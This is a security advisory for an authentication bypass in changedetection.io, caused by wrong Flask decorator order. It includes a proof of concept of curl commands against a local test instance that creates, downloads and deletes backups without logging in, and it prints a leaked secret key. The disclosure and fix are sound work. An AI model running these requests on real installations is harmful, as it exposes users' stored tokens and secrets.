GHSA-jmrh-xmgh-x9j4

Suggest an improvement
Source
https://github.com/advisories/GHSA-jmrh-xmgh-x9j4
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-jmrh-xmgh-x9j4/GHSA-jmrh-xmgh-x9j4.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-jmrh-xmgh-x9j4
Aliases
Published
2026-04-06T18:00:01Z
Modified
2026-06-05T14:30:12Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
changedetection.io Vulnerable to Authentication Bypass via Decorator Ordering
Details

Summary

On 13 routes across 5 blueprint files, the @login_optionally_required decorator is placed before (outer to) @blueprint.route() instead of after it. In Flask, @route() must be the outermost decorator because it registers the function it receives. When the order is reversed, @route() registers the original undecorated function, and the auth wrapper is never in the call chain. This silently disables authentication on these routes.

The developer correctly uses the decorator on 30+ other routes with the proper order, making this a classic consistency gap.

Details

Correct order (used on 30+ routes):

@blueprint.route('/settings', methods=['GET'])
@login_optionally_required
def settings():
    ...

Incorrect order (13 vulnerable routes):

@login_optionally_required          # ← Applied to return value of @route, NOT the view
@blueprint.route('/backups/download/<filename>')  # ← Registers raw function
def download_backup(filename):
    ...

POC

=== PHASE 1: Confirm Authentication is Required ===

$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/
Main page:     HTTP 302 -> http://127.0.0.1:5557/login?next=/
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/settings
Settings page: HTTP 302 (auth required, redirects to login)

Password is set. Unauthenticated requests to / and /settings
are properly redirected to /login.

=== PHASE 2: Authentication Bypass on Backup Routes ===
(All requests made WITHOUT any session cookie)

--- Exploit 1: Trigger backup creation ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/request-backup
Response: HTTP 302 -> http://127.0.0.1:5557/backups/
(302 redirects to /backups/ listing page, NOT to /login -- backup was created)

--- Exploit 2: List backups page ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/
Response: HTTP 200

--- Exploit 3: Extract backup filenames ---
$ curl -s http://127.0.0.1:5557/backups/ | grep changedetection-backup
Found: changedetection-backup-20260331005425.zip

--- Exploit 4: Download backup without authentication ---
$ curl -s -o /tmp/stolen_backup.zip http://127.0.0.1:5557/backups/download/changedetection-backup-20260331005425.zip
Response: HTTP 200

$ file /tmp/stolen_backup.zip
/tmp/stolen_backup.zip: Zip archive data, at least v2.0 to extract, compression method=deflate

$ ls -la /tmp/stolen_backup.zip
-rw-r--r-- 1 root root 92559 Mar 31 00:54 /tmp/stolen_backup.zip

$ unzip -l /tmp/stolen_backup.zip
Archive:  /tmp/stolen_backup.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
    26496  2026-03-31 00:54   url-watches.json
       64  2026-03-31 00:52   secret.txt
       51  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/history.txt
     1682  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/4b7f61d9f981b92103a6659f0d79a93e.txt.br
     4395  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/1774911131.html.br
    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/6b3a3023b357a0ea25fc373c7e358ce2.txt.br
       51  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/history.txt
    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/1774911131.html.br
       73  2026-03-31 00:54   url-list.txt
      155  2026-03-31 00:54   url-list-with-tags.txt
---------                     -------
   114721                     10 files

--- Exploit 5: Extract sensitive data from backup ---
Application password hash: pG+Bq6s4/EhsRqYZYc7kiGEG1QMd2hMuadD5qCMbSBcRIMnGTATliX/P0vFX...
Watched URLs:
  - https://news.ycombinator.com/  (UUID: 4ff247a9...)
  - https://changedetection.io/CHANGELOG.txt  (UUID: c8d85001...)

Flask secret key: 7cb14f56dc4f26761a22e7d35cc7b6911bfaa5e0790d2b58dadba9e529e5a4d6

--- Exploit 6: Delete all backups without auth ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/remove-backups
Response: HTTP 302

=== PHASE 3: Cross-Verification ===

Verify protected routes still require auth:
  /         -> HTTP 302 (302 = protected)
  /settings -> HTTP 302 (302 = protected)

=== RESULTS ===

PROTECTED routes (auth required, HTTP 302 -> /login):
  /              HTTP 302
  /settings      HTTP 302

BYPASSED routes (no auth needed):
  /backups/request-backup  HTTP 302 (triggers backup creation, redirects to /backups/ not /login)
  /backups/                HTTP 200 (lists all backups)
  /backups/download/<file> HTTP 200 (downloads backup with secrets)
  /backups/remove-backups  HTTP 302 (deletes all backups)

[+] CONFIRMED: Authentication bypass on backup routes!

Impact

  • Complete data exfiltration — Backups contain all monitored URLs, notification webhook URLs (which may contain API tokens for Slack, Discord, etc.), and configuration
  • Backup restore = config injection — Attacker can upload a malicious backup with crafted watch configs
  • SSRF — Proxy check endpoint can be triggered to scan internal network
  • Browser session hijacking — Browser steps endpoints allow controlling Playwright sessions

Remediation

Swap the decorator order on all 13 routes. @blueprint.route() must be outermost:

# Before (VULNERABLE):
@login_optionally_required
@blueprint.route('/backups/download/<filename>')
def download_backup(filename):

# After (FIXED):
@blueprint.route('/backups/download/<filename>')
@login_optionally_required
def download_backup(filename):
Database specific 
{
    "cwe_ids":  [
        "CWE-863"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-04-06T18:00:01Z",
    "nvd_published_at":  "2026-04-07T16:16:27Z",
    "severity":  "CRITICAL"
}
References

Affected packages

PyPI / changedetection-io

Package

Name
changedetection-io
View open source insights on deps.dev
Purl
pkg:pypi/changedetection-io

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
0.54.8

Affected versions

0.*
0.38.2
0.39
0.39.1
0.39.2
0.39.3
0.39.4
0.39.5
0.39.6
0.39.7
0.39.8
0.39.9
0.39.10
0.39.10.post1
0.39.10.post2
0.39.11
0.39.12
0.39.13
0.39.13.1
0.39.14
0.39.14.1
0.39.15
0.39.16
0.39.17
0.39.17.1
0.39.17.2
0.39.18
0.39.19
0.39.19.1
0.39.20
0.39.20.1
0.39.20.2
0.39.20.3
0.39.20.4
0.39.21
0.39.21.1
0.39.22
0.39.22.1
0.40.0
0.40.0.1
0.40.0.2
0.40.0.3
0.40.0.4
0.40.1.0
0.40.1.1
0.40.2
0.40.3
0.41
0.41.1
0.42
0.42.1
0.42.2
0.42.3
0.43.1
0.43.2
0.44
0.44.1
0.45
0.45.1
0.45.2
0.45.3
0.45.4
0.45.5
0.45.6
0.45.7
0.45.7.1
0.45.7.2
0.45.7.3
0.45.8
0.45.8.1
0.45.9
0.45.11
0.45.12
0.45.13
0.45.14
0.45.15
0.45.16
0.45.17
0.45.18
0.45.19
0.45.20
0.45.21
0.45.22
0.45.23
0.45.24
0.45.25
0.45.26
0.46.0
0.46.1
0.46.2
0.46.3
0.46.4
0.47.0
0.47.1
0.47.2
0.47.3
0.47.4
0.47.5
0.47.6
0.48.0
0.48.1
0.48.2
0.48.3
0.48.4
0.48.5
0.48.6
0.49.0
0.49.1
0.49.2
0.49.3
0.49.4
0.49.5
0.49.6
0.49.7
0.49.8
0.49.9
0.49.10
0.49.12
0.49.13
0.49.14
0.49.15
0.49.16
0.49.17
0.49.18
0.50.1
0.50.2
0.50.3
0.50.4
0.50.5
0.50.6
0.50.7
0.50.8
0.50.9
0.50.10
0.50.11
0.50.12
0.50.13
0.50.14
0.50.15
0.50.16
0.50.17
0.50.18
0.50.19
0.50.20
0.50.21
0.50.22
0.50.23
0.50.24
0.50.25
0.50.26
0.50.27
0.50.28
0.50.29
0.50.30
0.50.31
0.50.32
0.50.33
0.50.34
0.50.35
0.50.37
0.50.38
0.50.39
0.50.40
0.50.41
0.50.42
0.50.43
0.51.0
0.51.1
0.51.2
0.51.3
0.51.4
0.52.1
0.52.2
0.52.3
0.52.4
0.52.5
0.52.6
0.52.7
0.52.8
0.52.9
0.53.1
0.53.2
0.53.3
0.53.4
0.53.5
0.53.6
0.53.7
0.54.1
0.54.2
0.54.3
0.54.4
0.54.5
0.54.6
0.54.7

Database specific

last_known_affected_version_range 
"<= 0.54.7"
source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-jmrh-xmgh-x9j4/GHSA-jmrh-xmgh-x9j4.json"